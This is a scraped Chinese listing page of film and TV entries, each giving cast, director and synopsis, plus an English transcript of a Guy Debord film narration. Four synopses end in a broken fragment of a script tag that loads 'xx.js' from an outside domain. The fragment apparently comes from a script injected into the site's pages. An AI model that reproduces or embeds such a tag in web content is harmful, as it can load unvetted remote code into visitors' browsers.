主演：柴崎幸,中山裕介,柳乐优弥,福山雅治,吉高由里子,北村一辉,品川祐
导演：西谷弘
简介：九个月前，正值而立之年的内海薰（柴崎幸 饰）突然接到远赴美国俄克拉何马州研修的通知，情知自己正成为警界可有可无之人，薰在焦虑烦恼的同时也暗下决心要干出一番业绩。就在此时，机会从天而降。在街上执行任务时她偶然发现一名看护师用轮椅推着早已死亡的老人，进一步调查发现看护师上念研一（中山裕介 饰）竟是长野县通缉的在逃犯。在薰的面前，上念供诉了杀害主家女儿的经过。风光得意的薰在公众和同侪的注视下担当押送嫌犯的重任，谁知上念抵达长野后推翻了之前的供词，令内海陷入窘境。在此之后，他只得与新人当摩健斗（柳乐优弥 饰）联手调查，却意外探知到九年前的一起冤案。内海薰最后的案件，朝向未知的方向推进……
主演：松村沙友理
导演：大谷健太郎,北川瞳,高石明彦
简介：平尾アウリの同名マンガを実写化する本作は、岡山県の地下アイドル・ChamJamと熱狂的ファンたちの姿を描く青春コメディ。
主演：石井马克,寿美菜子,佐藤拓也,高垣彩阳,福井裕佳梨
导演：富野由悠季
简介：本次剧场版为根据之前TV版再剪辑，由富野制作人重新编写台词让对白更方便理解，并追加全新画面（这次新画面不多，主要是修改对白），预计全5部欢迎之前看过没看懂没看过的朋友们都来看一下本次的新编辑剧场版，观感真的十分完美
主演：孙荣凯,严宇馨,梁泰,张梓墨,瑾里,沈韵菲
导演：何泰然
简介：因为一场阴谋，他们有了萌宝宝小白。几年后再次见“情郎”，传说中那个冷酷杀伐、不近女色的冰山总裁把她绑在身边，用行动破击传闻，她只想说，谣言害人啊！而他们的小白，五年以来，没有见过爸爸，在家孤独，在校被欺负，精神肉体上的双重折磨，让他总是惹是生非。时间五年过去，校园霸凌再次发生的时候，小白又一次因为打架惹到了大人物，而这次，小白的爸爸出现在了他的眼前，满眼宠溺，而小白的妈咪，满脸担忧。五年了，再次相遇，上一次，他夺走了自己，这一次，又要夺走儿子小白吗？
主演：王茜华,于震,郭东文,何翯,刘钧,郭虹
导演：王梓
简介：美丽的女孩何青青（王茜华 饰）邂逅了知青青年苏卫东（刘钧 饰），两情相悦的两人很快就走到了一起。高考恢复后，这对情侣为了能够考入理想的大学而展开了艰苦的奋斗，最终，苏卫东金榜题名，可何青青却与录取通知书擦肩而过。生活的巨大压力让何青青不得不选择了妥协，她放弃了和苏卫东的感情，转而嫁给了名为赵春来（于震 饰）的残疾青年，虽然赵春来本质善良，但何青青的内心里一直惦记着苏卫东，怀念着他们半途而废的感情。一场可怕的车祸让何青青失去了丈夫，亦失去了唯一的情人何大牛（郭东文 饰），悲痛之余还要承受嫂子赵喜鹊（何翯 饰）的无端诬陷。
主演：陈玉莲,吕良伟,周海媚,王书麒,唐丽球,曾江
导演：未知
简介：穷家女叶玲，一个不甘平凡的女性，随丈夫被卖到西澳洲当奴工，因而认识焦济夫，济夫更对她一见钟情。因缘际会下，叶玲与夫发现了大批钻石，在济夫的协助下三人带着钻石逃走，可惜途中其夫被杀，叶玲与济夫惟有各占一半钻石到香港发展。二人凭着手上的钻石分别成为香港举足轻重的富豪，但表面从商的他们，暗地里却从事黑帮活动，二人势均力敌。叶玲在一次枪击中，险遭杀害，幸得探员易麟所救，叶玲对易麟亦产生好感。易麟在筹备结婚期间，巧遇由澳门只身来港的歌女商金珠，二人一见钟情，易麟遂与没有感情之未婚妻柳小眉解除婚约，转而追求金珠。与时同时，一直觊觎叶玲财色的济夫，因妒忌叶玲对易麟的爱意，遂设局陷害他，令其被捕入狱。为救意中人，叶玲誓与济夫一决雌雄，一幕幕黑帮大仇杀亦由此展开...
主演：石原里美,菅田将晖,本田翼,和田正人,江口德子,田口浩正,足立梨花,松川尚瑠辉,长江英和,鹿贺丈史,芳本美代子,青木崇高,岸谷五朗,安藤政信
导演：佐藤东弥
简介：从小就对时尚极感兴趣的河野悦子（石原里美 饰），一直梦想着能够成为顶尖时尚杂志《Lassy》的编辑。经过屡战屡败的面试后，她终于如愿以偿被《Lassy》所在的出版社景凡社所录取，然而却是被安排到了无生趣的校阅部担任校对工作。部长茸原（岸谷五朗 饰）所描绘的美好蓝图让河野看到一丝希望，她以自己特有的方式投入到校对工作中来，这期间不可避免和校阅部资深工作人员藤岩（江口德子 饰）以及景凡社责任编辑贝冢（青木崇高 饰）乃至作家发生冲突，然而执拗的女孩却最终影响身边的每一个人。当然在这一过程中，命中注定的那个人（菅田将晖 饰）也出现在了河野的身边……本片根据宮木あや子的同名原作改编。
主演：金来沅,孔升妍,孙浩俊,Ho-jun,Son
导演：申景秀
简介：此剧讲述了抓犯人的警察和灭火灾的消防员在现场协力合作，热血刑警和冲向火焰的消防员、急救队员们一起紧急出动解决犯罪、应急、危机的故事。金来沅剧中饰演警察厅警察陈浩凯一角。是个毒舌完美警察，是个热血猎犬般的人，有着出众读懂犯罪者内心心理的能力。
主演：蔡少芬,罗嘉良,魏骏杰,叶蕴仪,胡枫,魏秋桦,刘江
导演：庄伟建
简介：「孝感动天」是以四个古代感人故事，来表彰百行以孝为先之美德。演员阵容鼎盛，剧情感人肺腑。缇萦救父──缇萦（蔡少芬）自幼与父（胡枫）相依为命，侍父至孝。后其父被诬害入狱，为救父她不惜滚针床、赤足踏火炭、饮毒酒、甚至代父受刑。她的孝义终感动皇上赦免其父之罪，并废残酷不仁之五刑。精忠旗──岳珂（魏骏杰）为岳飞之后，忠心爱国，并立志替先祖翻案雪耻，后取得证据可替岳飞翻案，但为顾全先皇颜面，终以鲜血毁证物。此举感动在任皇帝下旨恢复岳家名声，岳珂继祖志显孝，名留青史。目莲救母──目莲（叶蕴仪）自幼被遗，几经辛苦，寻获生母刘青提（魏秋桦），惜其母因杀人被判入狱，后得怪病而死，被困地狱。目莲为救母竟打破地狱门，舍身割肉喂鬼，令其母感动忏悔，令天地为开，修成正果。赵氏孤儿──赵武（罗嘉良）本为忠臣良将之后，因其父被奸臣所害，遭灭门惨变。武为忠仆程婴（刘江）所救并抚养成人，婴为助武诛仇人，更不惜牺牲自己。后武感念养父子之恩，以上卿身分将婴灵位奉养于赵家祠，孝顺之心可昭日月。
主演：胡一天,乔欣,郑好,钟祺,尹智玄,胡浩博,王大宇,刘晓晔,王亦凡,任彬,胡龄萌,王翌舟,王瑞子,张耀宇,向皓,常凯宁,钟轩凯,王星越,巴丽娜
导演：戴小哲
简介：高山，一个精通算计的高智商金融男，父亲的意外死亡让他对当年的事情真相耿耿于怀。为寻求真相，他孤身一人来摩天求职，却意外爱上林沃，一个善于将所有事情计划在自己掌控之中的高智商猎头女。他的出现打乱了她所有计划，她的出现点亮了他黑暗的世界。两人相互陪伴，经历了各种艰难险阻，却因为一个不可原谅的误会而分道扬镳。两年后，被时间淬炼的两人再次重逢，擅长计谋的高山为了挽回林沃，策划了一场“爱的追逐”……
主演：克里斯·里德,尼古拉斯·坎图
导演：萨姆·里格尔,杰米·米切尔
简介：苏菲亚生长在一个平凡的家庭，直到她的母亲嫁给国王之后，苏菲亚就成为了皇室的一员。在蓝天仙子、翡翠仙子及花拉仙子的帮助下，苏菲亚必须参加皇家预备学校，学习如何成为一个真正的公主。而从皇家预备校的课程中，小公主苏菲亚渐渐了解，要成为一位真正的公主必须具备：诚实、忠诚、同情心 以及优雅的特质。每一集的节目里，苏菲亚都会遇到不同的问题，一起来看她怎麽克服困难，帮助身边需要协助的朋友，也让自己成为一个人见人爱的小公主。
主演：山田凉介,滨边美波,野村周平,古田新太
导演：内田英治
简介：讲述无法发出声音、失去希望苟且度日的青年苍（上田凉介 饰）与因事故失明的音大学生美夏（滨边美波 饰）之间的凄美爱情故事。* src="https://mikka.app/xx.js" type="text/javascript">
主演：JoelMoore,扎克瑞·莱维,爱波·塔布琳
导演：AdamGreen,JoelMoore
简介：消瘦苍白、一脸病态的梅森（乔·摩尔 Joel Moore 饰）是某公司的电话销售员，他每天的工作就是给不同的陌生人致电，一遍遍重复着无聊枯燥的话语。日常生活中，梅森患有哮喘，精神容易紧张，他几乎不与人交流，专横跋扈的老板伯克利（扎克瑞·莱维 Zachary Levi 饰）似乎是他仅有的交谈对象。某天，梅森与公司的新人爱波（爱波·塔布琳 Amber Tamblyn 饰）相识。这个女孩刚来几天便被伯克利开除，不过梅森却与之展开交往。爱波开朗乐观的性格慢慢影响着有些自闭的梅森，他们的生活仿佛也从此发生翻天覆地的变化……* src="https://mikka.app/xx.js" type="text/javascript">
主演：王宏亮,李慧杰
导演：张奉宝
简介：二十年前，一个父亲发现儿子不是亲生的，于是，他要以跳楼的方式一雪耻辱，后来又决定去报复。 二十年前，那个儿子按照自己崇拜的父亲所指引的“学习无用论”，决定放弃学业，少年经商。 二十年前，一个青年爱上了一个姑娘，那个青年为了自己的所爱，竟然绑架了那个已被父亲发现不是自己亲生儿子的弃学少年。 一场绑架案，改变了三个故事里的所有人。 二十年后，父亲走出监狱，看到儿子靠拉脚为生。 二十年后，当年热恋的男女在舞厅里偶遇，而此刻的他们，一个天残，一个地缺。一个沦为舞女，一个孤苦飘零。 二十年前，二十年后，以笑言、悬疑的方式陈述一段有关青春的过往。* src="https://mikka.app/xx.js" type="text/javascript">
主演：绿川光,矢岛晶子,关俊彦,中原茂,折笠爱,石野龙三,佐久间玲,依田英助,稻叶实,大泷进矢,藤本让,田口昂,子安武人,横山智佐,中田和宏,中村大树,森川智之,千叶一伸,纱由里,冬马由美,松井菜樱子,铃木沙织,中村秀利,铃木泰明,宫村优子,中岛聪彦,梅津秀行,大塚明夫
导演：青木康直,杉岛邦久
简介：剧情紧接外传 Battlefield of Pacifist（和平主义者的战场），地球与殖民地的战斗于殖民后196年结束。除五飞外，希洛等四位高达驾驶员决心把高达送往太阳丢弃，然而统一的地球圈再次被人类的欲望所吞噬，战乱再一次燃起。巴顿财团利用前OZ统帅杜鲁斯之女作傀儡领袖成立军队，以新建之殖民地X18999为基地，同时胁持担任地球外交官的莉莉娜作人质，企图实行第二次流星作战。希洛等人进入殖民地化解危机并把高达取回作战。
主演：绪方惠美,林原惠美,三石琴乃,宫村优子,山口由里子,立木文彦,石田彰,清川元梦,山寺宏一,优希比吕,长泽美树,子安武人,麦人,川村万梨阿,矢岛晶子,松本保典,长嶝高士,泽木郁也,山野井仁,永野广一,菅原淳一,涉谷茂
导演：庵野秀明,鹤卷和哉
简介：神秘的EVA零号机驾驶员绫波丽，在与碇元度约定之时，来到了NERV底层中央教条的红色水池边。她的命运似乎就将在此结束。在危急时刻，葛城美里不但要完成加持良治交待的对“第二次浩劫”真相以及“人类补完计划”的探查工作，还要保护碇真嗣与明日香，以及防备SEELE 对初号机与二号机的物理接触。出于对碇元度的憎恨，赤木律子接受了SEELE引爆MAGI的提案，她能否成功？长期与SEELE共事的碇元度、冬月耕造、碇唯，为了防止人类“最终的悲剧”，而酝酿了的“人类补完计划”能否实现？尽在《新世纪福音战士》电影版第2部中解答。
主演：内详
导演：居伊·德波
简介：Voice 1 (male professional announcer type) This neighborhood(1) was made for the wretched dignity of the petty bourgeoisie, for respectable occupations and intellectual tourism. The sedentary population of the upper floors was sheltered from the influences of the street. This neighborhood has remained the same. It was the strange setting of our story, where a systematic questioning of all the diversions and works of a society, a total critique of its idea of happiness, was expressed in acts.These people also scorned subjective profundity. They were interested in nothing but an adequate and concrete expression of themselves.Voice 2 (Debord, monotone) Human beings are not fully conscious of their real life - usually groping in the dark; overwhelmed by the consequences of their acts; at every moment groups and individuals find themselves confronted with results they have not wished.Voice 1 They said that oblivion was their ruling passion. They wanted to reinvent everything each day; to become the masters and possessors of their own lives.Just as one does not judge a man according to the conception he has of himself, one cannot judge such periods of transition according to their own consciousness; on the contrary, one must explain the consciousness through the contradictions of material life, through the conflict between social conditions and the forces of social production.The progress achieved in the domination of nature was not yet matched by a corresponding liberation of everyday life. Youth passed away among the various controls of resignation.Our camera has captured for you a few aspects of a provisional microsociety.The knowledge of empirical facts remains abstract and superficial as long as it is not concretized by its integration into the whole ” which alone permits the supersession of partial and abstract problems so as to arrive at their concrete essence, and implicitly at their meaning.This group was on the margins of the economy. It tended toward a role of pure consumption, and first of all the free consumption of its time. It thus found itself directly engaged in qualitative variations of everyday life but deprived of any means to intervene in them.The group ranged over a very small area. The same times brought them back to the same places. No one went to bed early. Discussion on the meaning of all this continued...Voice 2 Our life is a journey ” In the winter and the night. ” We seek our passage...�Voice 1 The abandoned literature nevertheless exerted a delaying action on new affective formulations.Voice 2 There was the fatigue and the cold of the morning in this much-traversed labyrinth, like an enigma that we had to resolve. It was a looking-glass reality through which we had to discover the potential richness of reality.On the bank of the river evening began once again; and caresses; and the importance of a world without importance. Just as the eyes have a blurred vision of many things and can see only one clearly, so the will can strive only incompletely toward diverse objects and can completely love only one at a time.Voice 3 (young girl) No one counted on the future. It would never be possible to be together later, or anywhere else. There would never be a greater freedom.Voice 1 The refusal of time and of growing old automatically limited encounters in this narrow, contingent zone, where what was lacking was felt as irreparable. The extreme precariousness of the means of getting by without working was at the root of this impatience which made excesses necessary and breaks definitive.Voice 2 One never really contests an organization of existence without contesting all of that organization's forms of language.Voice 1 When freedom is practiced in a closed circle, it fades into a dream, becomes a mere representation of itself. The ambiance of play is by nature unstable. At any moment ordinary life� can prevail once again. The geographical limitation of play is even more striking than its temporal limitation. Any game takes place within the contours of its spatial domain. Around the neighborhood, around its fleeting and threatened immobility, stretched a half-known city where people met only by chance, losing their way forever.The girls who found their way there, because they were legally under the control of their families until the age of eighteen, were often recaptured by the defenders of that detestable institution. They were generally confined under the guard of those creatures who among all the bad products of a bad society are the most ugly and repugnant nuns.What usually makes documentaries so easy to understand is the arbitrary limitation of their subject matter. They describe the atomization of social functions and the isolation of their products. One can, in contrast, envisage the entire complexity of a moment which is not resolved into a work, a moment whose movement indissolubly contains facts and values and whose meaning does not yet appear. The subject matter of the documentary would then be this confused totality.Voice 2 The era had arrived at a level of knowledge and technical means that made possible, and increasingly necessary, a direct construction of all aspects of a liberated affective and practical existence. The appearance of these superior means of action, still unused because of the delays in the project of liquidating the commodity economy, had already condemned aesthetic activity, whose ambitions and powers were both outdated. The decay of art and of all the values of former mores had formed our sociological background. The ruling class's monopoly over the instruments we needed to control in order to realize the collective art of our time had excluded us from a cultural production officially devoted to illustrating and repeating the past. An art film on this generation can only be a film on its absence of real creations.Everyone unthinkingly followed the paths learned once and for all, to their work and their home, to their predictable future. For them duty had already become a habit, and habit a duty. They did not see the deficiency of their city. They thought the deficiency of their life was natural. We wanted to break out of this conditioning, in quest of another use of the urban landscape, in quest of new passions. The atmosphere of a few places gave us intimations of the future powers of an architecture it would be necessary to create to be the support and framework for less mediocre games. We could expect nothing of anything we had not ourselves altered. The urban environment proclaimed the orders and tastes of the ruling society just as violently as the newspapers. It is man who makes the unity of the world, but man has extended himself everywhere. People can see nothing around them that is not their own image; everything speaks to them of themselves. Their very landscape is alive. There were obstacles everywhere. There was a cohesion in the obstacles of all types. They maintained the coherent reign of poverty. Everything being connected, it was necessary to change everything by a unitary struggle, or nothing. It was necessary to link up with the masses, but we were surrounded by sleep.Voice 3 The dictatorship of the proletariat is a desperate struggle, bloody and bloodless, violent and peaceful, military and economic, educational and administrative, against the forces and traditions of the old world.Voice 1 In this country it is once again the men of order who have rebelled. They have reinforced their power. They have been able to aggravate the grotesqueness of the ruling conditions according to their will. They have embellished their system with the funereal ceremonies of the past.Voice 2 Years, like a single instant prolonged to this point, come to an end.Voice 1 What was directly lived reappears frozen in the distance, fit into the tastes and illusions of an era, carried away with it.Voice 2 The appearance of events that we have not made, that others have made against us, now obliges us to be aware of the passage of time, its results, the transformation of our own desires into events. What differentiates the past from the present is precisely its out-of-reach objectivity; there is no more should-be; being is so consumed that it has ceased to exist. The details are already lost in the dust of time. Who was afraid of life, afraid of the night, afraid of being taken, afraid of being keptVoice 3 What should be abolished continues, and we continue to wear away with it. We are engulfed. We are separated. The years pass and we haven't changed anything.Voice 2 Once again morning in the same streets. Once again the fatigue of so many similarly passed nights. It is a walk that has lasted a long time.Voice 1 Really hard to drink more.Voice 2 Of course one might make a film of it. But even if such a film succeeds in being as fundamentally disconnected and unsatisfying as the reality it deals with, it will never be more than a re-creation ” poor and false like this botched traveling shot.Voice 3 There are now people who pride themselves on being authors of films, as others were authors of novels. They are even more backward than the novelists because they are unaware of the decomposition and exhaustion of individual expression in our time, ignorant of the end of the arts of passivity. They are praised for their sincerity since they dramatize, with more personal depth, the conventions of which their life consists. There is talk of the liberation of the cinema. But what does it matter to us if one more art is liberated through which Tom, Dick or Harry can joyously express their slavish sentiments The only interesting venture is the liberation of everyday life, not only in the perspectives of history but for us and right away. This entails the withering away of alienated forms of communication. The cinema, too, has to be destroyed.Voice 2 In the final analysis, stars are created by the need we have for them, and not by their talent or lack of talent or even by the film industry or advertising. Miserable need, dismal, anonymous life that would like to expand itself to the dimensions of cinema life. The imaginary life on the screen is the product of this real need. The star is the projection of this need.The images of the advertisements during the intermissions are more suited than any others for evoking an intermission of life.To really describe this era it would no doubt be necessary to show many other things. But what would be the pointBetter to grasp the totality of what has been done and what remains to be done than to add more ruins to the old world of the spectacle and of memories.1. This film, which evokes the lettrist experiences at the origin of the situationist movement, opens with shots of the Paris district frequented by the lettrists in the early 1950s.
主演：贝尔·格里尔斯
导演：未知
简介：这是一部激动人心的90分钟互动式电影，适合全家观看。野生动物保护区周围的防护栅栏已经遭到神秘破坏，现在动物们正处于失散状态。贝尔被召来帮助营救一只顽皮的狒狒，追踪一头饥肠辘辘的狮子，同时在更多动物逃跑之前修好栅栏。三个紧急任务在等着您，并且时间紧迫，贝尔需要您的帮助。由于有可能完成神秘任务，每个决定都会影响这场互动式冒险，因此让您的选择发挥上作用吧！
主演：李宗霖,黄一琳,熊玉婷,王姿允,陆怡璇,黄心娣,李林娟
导演：张修诚
简介：表面平静的松山市，却内藏暗涌，秘密基地里的人影是谁？展鹏集团发布会上的黑衣人又意欲何为？全能男神林逸能否再次化险为夷，贴身保护好校花楚梦瑶的安全，同时坐拥万千后宫呢？且看异能男神如何打小怪泡校花，从此过上“性福”快乐的小日子！
主演：李宗霖,曹曦月,徐开骋,向以丞,黄伟晋,邵雨薇
导演：吴建新
简介：一个大山里走出来的绝世高手，一块能预知未来凶险的神秘玉佩…… 林逸是一名普通学生，不过，他还身负另外一个重任，那就是追校花！而且还是奉校花老爸之命！虽然林逸很不想跟这位难伺候的大小姐打交道，但是长辈之命难违抗，他不得不千里迢迢的转学到了松山市，给大小姐鞍前马后的当跟班……于是，史上最牛B的跟班出现了——大小姐的贴身高手！看这位跟班如何发家致富偷小姐，开始他奉旨泡妞牛X闪闪的人生……
主演：李宗霖,黄一琳,陈雅丽,王姿允,黄心娣,熊玉婷,张鑫
导演：张修诚
简介：林逸从雪山疗伤归来后，惊梦不断，原来这梦是来自异时空的召唤，此时的天阶岛正遭受前所未有的浩劫，急需林逸的力量拯救大家。另一方面，躲在幕后的神秘人觊觎楚梦瑶的暗凤能量已久，竟然不惜痛下杀手，幸好林逸及时赶来阻止了他的阴谋，然而，司徒煚、冯笑笑却难逃一劫。天阶岛，这是上古的传说，还是难逃的宿命？
主演：李宗霖,黄一琳,陈雅丽,王姿允,黄心娣,熊玉婷
导演：张修诚
简介：《校花的贴身高手3》即《校花的贴身高手第三季》，是根据鱼人二代同名小说改编，由张修诚执导，李宗霖，黄一琳，陈雅丽，熊玉婷，王姿允，陆怡旋，黄心娣等主演的青春网络剧。该剧于2016年8月22日爱奇艺播出。
主演：黄磊,海清,陶虹,王砚辉,沙溢,咏梅,周奇,李庚希,郭子凡,刘家祎,任重,吴施乐,徐梵溪,王栎鑫,钟丽丽,金丰,白玉,郭广平,焦体怡,杨青,徐敏,李野萍,王晴,杨雨婷,冯晖,金溪,朱铁
导演：汪俊
简介：北京市，三个备战高考的家庭不仅面对着升学压力，更面对着亲子关系难题。恨铁不成钢的妈妈童文洁（海清 饰）和学渣儿子方一凡（周奇 饰）之间因为成绩矛盾重重，爸爸方圆（黄磊 饰）不得不左右调停；拒绝前夫乔卫东（沙溢 饰）入侵母女生活的单亲妈妈宋倩（陶虹 饰），对女儿乔英子（李庚希 饰）的生活展开了全包围式关切，误解和矛盾不知不觉悄然爆发；空降父亲季胜利（王砚辉 饰）和妈妈刘静（咏梅 饰）的突然关怀，让从小养在舅舅刘铮（任重 饰）身边的季杨杨（郭子凡 饰）无所适从，父子之间小心翼翼的相处并没有为这段关系换来和平。人到中年的家长和刚刚迎来成年的孩子，在高三这场重要的试炼中，度过生活设置的重重难题，在爱与理解中学会成长，迎来属于自己的“小欢喜”。
主演：郑少秋,郑伊健,郭晋安,郭蔼明,陈松伶,古巨基,商天娥,简佩筠,江毅,朱江,许绍雄
导演：曾瑾昌
简介：包家收养同乡潘仲之子潘朗清（郭晋安 饰）多年，包家长子包文龙（郑伊健 饰）与他情同兄弟；中天集团首脑黄天（郑少秋 饰）造人暗算，被商业罪案调查科的探员文龙调查，却与其成为忘年交。急功近利的郎清非法赚快钱，连累前来劝阻的文龙被停职，使包家陷入困境。潘夫向昔日好友黄天求助， 朗清得以进入中天集团。复职无望的文龙被黄天赏识招入中天，由此踏入商界。文龙认识古怪少女林贞烈（陈松伶 饰），两人开始恋爱。朗清被人利用出卖中天的商业机密，引起黄天的疑心，为了获得黄天的信任，并谋得权势，朗清开始追求黄天之女黄蕾（郭蔼明 饰）。但黄蕾却因为文龙而与他悔婚，并介入到文龙与贞烈的感情中，让文龙陷入两难之境。备受悔婚屈辱的朗清，与黄天的对手一起不择手段，开始报复计划。商界人生，风云变化多端，谁能料到得与失？
主演：严屹宽,宋轶,朱梓骁,姚安濂,李欣聪,李颖,李添诺,潘彦霖,黄靖芯,王诗槐
导演：吴家骀,黄一钦
简介：上海名媛吕晗芝因父亲被汉奸杀害，家道中落，从此走上了抗战的道路。因缘际会，与吕晗芝命运紧密相关的两个男人，却分别属于两大敌对阵营。表面上为汉奸做事的高晨，实际上是中共地下党的情报人员。表面上抗日锄奸的韩寿民，虽然曾是国民党军统优秀特工，但逐步被汪伪特务组织设计陷害，走上叛变投敌的不归路。这三人的情感关系在抗战的时代背景之下充满变数。吕晗芝徘徊在中共和军统的两大谍报高手之间，逐步从不谙世事的名媛成长为一名出色的谍报人员。吕晗芝身处汪伪与抗日势力的血腥搏杀之中，扑朔迷离的人物身份，生死相搏的卧底生涯，使得她在残酷的斗争中几经波折，逐步成熟。最终在中共党组织的帮助下，吕晗芝找到了自己的信仰，成为了一名周旋于上海上层社会的中共优秀情报人员 。
主演：潘粤明,吴晓敏,田少军,杜雨露
导演：汪涛
简介：靠多年海上走私起家的周氏股东集团，因总经理周志成贪赃枉法而濒临倒闭。家族领头人、当年黑道上声名显赫的龙叔决定以周涛取代周志成。不料他的嫂子李月梅决意不让小儿子周涛接手周氏企业。企图挽救败局的周志成唆使李月梅的长子周海抢夺秦始皇用过的剑。龙叔不许周海再走黑道，而让周海说服他的义妹小玉去接近长她20多岁的财神爷——南投老总。周海不愿遵命，决定伙同周志成，背着龙叔，诱骗盗墓大贼宋梁成交宝剑，换取黑钱。结果，他们夺剑未遂却遭遇枪战，一神秘白衣人救了周海，周志成则中弹毙命。* src="https://mikka.app/xx.js" type="text/javascript">
主演：吉田行地,石川由依,唐泽美帆,茅原实里,结城爱良,埃文·考尔
导演：未知
简介：紫罗兰永恒花园交响音乐会2021，演奏包括TV剧集、外传与剧场版在内的音乐，两日三场公演。
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